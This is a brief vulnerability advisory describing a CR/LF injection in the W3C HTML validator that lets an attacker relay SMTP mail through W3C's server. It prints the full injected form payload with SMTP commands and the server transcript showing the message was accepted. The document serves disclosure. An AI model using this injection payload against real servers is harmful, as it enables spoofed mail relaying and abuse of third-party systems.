As we reported previously a vulnerability exists in the W3C HTML validator that allows for cross-site scripting. The following shows a different issue, where additional CR/LF (Carriage Return/Line Feed) can be inserted into the FORM an attacker fills allowing him for example to send an email through a third party site while masquerading as someone coming from W3C's site (i.e. relaying through it).
Credit:
The information has been provided by Matthew Murphy.
[Begin Form]
http://mailserver:25/
HELO 127.0.0.1
MAIL FROM:me@here.com
RCPT TO:you@somewhere.com
DATA
This is a simple message demonstrating the W3 relaying hole
.
QUIT
[End Form]
This results in:
GET /
502 Unknown Command
HELO 127.0.0.1
250 Welcome [138.96.249.65], pleased to meet you
MAIL FROM:me@here.com
250 Sender "me@here.com" OK...
RCPT TO:you@somewhere.com
250 Recipient "you@somewhere.com" OK...
DATA
354 Enter mail, end with "." on a line by itself
This is a simple message demonstrating the W3 relaying hole
.
250 Message accepted for delivery.
QUIT
221 Closing Session
If you relay this properly, the CSS validator will whine about the connection being terminated by the peer (this is done immediately after the SMTP command "QUIT" being sent. There is a 502 error in the logs from "GET /", but that is un-avoidable.